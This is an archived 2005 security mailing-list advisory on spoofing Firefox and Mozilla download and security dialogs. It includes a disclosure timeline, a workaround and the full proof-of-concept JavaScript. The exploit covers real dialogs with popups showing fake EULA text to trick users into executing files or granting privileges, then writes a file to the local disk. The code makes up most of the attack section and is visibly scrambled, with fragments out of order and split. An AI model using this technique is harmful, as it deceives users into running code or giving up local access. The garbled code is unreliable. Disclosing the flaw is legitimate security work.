[NT] Mozilla Firefox Window Spoofing (Firespoofing)
From: SecuriTeam (support_at_securiteam.com)
Date: 01/11/05
- Previous message: SecuriTeam: "[NEWS] Multi-Vendor AntiVirus Gateway Image Inspection Bypass (data:)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 11 Jan 2005 14:07:31 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Mozilla Firefox Window Spoofing (Firespoofing)
------------------------------------------------------------------------
SUMMARY
Using JavaScript it is possible to spoof the content of security and
download dialogs by partly covering them with a popup window. This can
fool a user to download and automatically execute a file (if a file
extension association exists) or to grant a script local data access (if
codebase principals are enabled).
DETAILS
Affected Software:
* Mozilla Firefox version 1.0
* Mozilla version 1.7.5
* Netscape version 7.1
All under Windows XP SP2
Expected Behavior:
Modal dialogs should always be on top and it should not be possible to
obfuscate their appearance.
Vendor Status:
The bug is confirmed but currently unfixed (open for more than 3 months).
As a partial workaround set dom.disable_window_flip to true in
about:config. The vendor failed to respond to multiple status requests
which led to this public disclosure.
2004-09-20 Vendor informed (bugzilla.mozilla.org #260560)
2004-09-20 Vendor confirmed bug
2004-10-20 Status request (open for 1 month - no reply)
2005-01-03 Status request (open for 3 months - no reply)
2005-01-07 Status request (disclosure warning - no reply)
2005-01-11 Public disclosure
Exploit:
The PoC is designed for Firefox 1.0 running in a maximized window.
Part 1 - download dialog spoofing
Shows how to cover a download dialog and fool the user to execute a file
with a standard windows file association (in this case a .ht file). BTW,
remember the latest .ht buffer overflow...
Part 2 - security dialog spoofing
Shows how to cover a security dialog. Make sure codebase principals are
enabled (not default but encouraged by many XUL sites). Creates the file
c:\booom.txt to proof local system access.
The exploit is also available at: <http://www.mikx.de/firespoofing/>
window.location = "booom.php"
var pWin = false;
pWin = open('', 'popUpWin', 'width=' + pWidth + ',height=' + pHeight +
}
function spoofSecurity(){
var pWin = false;
pWin = open('', 'popUpWin', 'width=' + pWidth + ',height=' + pHeight +
< div style="font-family:Verdana;font-size:15px;font-weight:bold;">Firefox
< a href="javascript:spoofDownload()">Open spoofed download dialog</a>
</body>
ADDITIONAL INFORMATION
The information has been provided by <mailto:mikx@mikx.de> Michael Krax.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
====================
DISCLAIMER:
http://www.mikx.de/firespoofing/
< html>
< head>
< title>Firefox Dialog Spoofing - Proof-of-Concept -
http://www.mikx.de/firespoofing/>
</head>
< script>
function spoofDownload(){
var pWidth = 364
var pHeight = 225
var pLeft = (screen.width) / 2 - 185;
var pTop = (screen.height) / 2 - 200;
var pLorem = 'Lorem ipsum dolor sit amet, consectetuer adipiscing
elit. Pellentesque lectus dui, porttitor sit amet, varius aliquam,
ultrices id, nisl. Donec gravida, justo at gravida feugiat, pede massa
vehicula magna, ac venenatis felis velit nec lorem. Aenean tempus sapien
at enim. Pellentesque et massa at justo fermentum ultricies. Ut volutpat
ligula nec magna. Maecenas ornare pulvinar nisl. Fusce sodales. Vivamus ut
erat. Cras dolor neque, suscipit non, vestibulum at, sagittis et, arcu.
Quisque mauris mi, sollicitudin vitae, pretium sit amet, nonummy non,
metus.';
var pHtml = '<strong>You need to accept this EULA before entering the
site:</strong><br><br><textarea
style="width:100%;height:140px;font-family:Tahoma,Verdana,Arial;font-size:11px;">' + pLorem + '\n\n' + pLorem + '\n\n' + pLorem + '</textarea><br><br><strong>Do you accept this? Please click OK to confirm.</strong>';
',left=' + pLeft + ',top=' + pTop + ',screenX=' + pLeft + ',screenY=' +
pTop +
',toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no');
pWin.opener = this;
pWin.document.open();
pWin.document.write("< html>< head>< style>body { margin:10px;
padding:0px; border:0px; overflow:hidden; background-color:buttonface;
font-family: Tahoma, Verdana, Arial;
font-size:11px;}</style></head><body><
script>window.setTimeout(\"this.focus();\",500);<\/script>" + pHtml +
"</body></html>");
pWin.document.close();
var pWidth = 540
var pHeight = 225
var pLeft = (screen.width) / 2 - 273;
var pTop = (screen.height) / 2 - 240;
var pLorem = 'Lorem ipsum dolor sit amet, consectetuer adipiscing
elit. Pellentesque lectus dui, porttitor sit amet, varius aliquam,
ultrices id, nisl. Donec gravida, justo at gravida feugiat, pede massa
vehicula magna, ac venenatis felis velit nec lorem. Aenean tempus sapien
at enim. Pellentesque et massa at justo fermentum ultricies. Ut volutpat
ligula nec magna. Maecenas ornare pulvinar nisl. Fusce sodales. Vivamus ut
erat. Cras dolor neque, suscipit non, vestibulum at, sagittis et, arcu.
Quisque mauris mi, sollicitudin vitae, pretium sit amet, nonummy non,
metus.';
var pHtml = '< strong>You need to accept this EULA before entering the
site:</strong>< br>< br><textarea
style="width:100%;height:140px;font-family:Tahoma,Verdana,Arial;font-size:11px;">' + pLorem + '\n\n' + pLorem + '\n\n' + pLorem + '</textarea>< br>< br>< strong>Do you accept this? Please click "Allow" to confirm.</strong>';
',left=' + pLeft + ',top=' + pTop + ',screenX=' + pLeft + ',screenY=' +
pTop +
',toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no');
pWin.opener = this;
pWin.document.open();
pWin.document.write("< html>< head>< style>body { margin:10px;
padding:0px; border:0px; overflow:hidden; background-color:buttonface;
font-family:Tahoma,Verdana,Arial; font-size:11px;}</style></head>< body><
script>window.setTimeout(\"this.focus();\",500);<\/script>" + pHtml +
"</body></html>");
pWin.document.close();
netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
file =
Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
file.initWithPath("c:\\booom.txt");
file.create(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 420);
outputStream =
Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance( Components.interfaces.nsIFileOutputStream );
outputStream.init(file, 0x04 | 0x08 | 0x20, 420, 0);
output = "booom!";
outputStream.write(output, output.length);
outputStream.close();
}
</script>
< body>
< div style="font-family:Verdana;font-size:11px;">
Dialog Spoofing - Proof-of-Concept</div>
Designed for Firefox 1.0 (Windows) and a maximized window
< br>< br>
< br>< br>
< a href="javascript:spoofSecurity()">Open spoofed security dialog</a>
(enable signed.applets.codebase_principal_support)
< br>< br>< br>
Full Advisory: < a href="http://www.mikx.de/?p=7"
target="_blank">http://www.mikx.de/?p=7>
</div>
</html>
The original article can be found at: <http://www.mikx.de/?p=7>
http://www.mikx.de/?p=7
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
Relevant Pages
... The following security advisory is sent to the securiteam mailing list, and can be found at
the SecuriTeam web site: http://www.securiteam.com ... Get your security news from
a reliable source. ... The source code for the JS.SCob Trojan downloader is available.
... var szExt = unescape; ... (Securiteam)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... However, each of them is a separate
vulnerability, which uses a unique ... Each item in the list below consists of three parts,
"Cache" shows how to ... Cache: var fVuln=oWin.showModalDialog; ... (Securiteam)
... procedure TForm1.CreateDatabase(dbname: string); ... db: variant;
... ';Persist Security Info=False'); ... (borland.public.delphi.database.ado)
... The following security advisory is sent to the securiteam mailing list, and can be found at
the SecuriTeam web site: http://www.securiteam.com ... Beyond Security in Canada
... A window without a frame, title bar, toolbars or scroll bars is known as a ...
'chromeless' window. ... (Securiteam)
... I have already enabled Active Scripting ... > Click "OK" to close the Security
window. ... > JavaScript is now enabled for our web site. ... (microsoft.public.windows.inetexplorer.ie6.browser)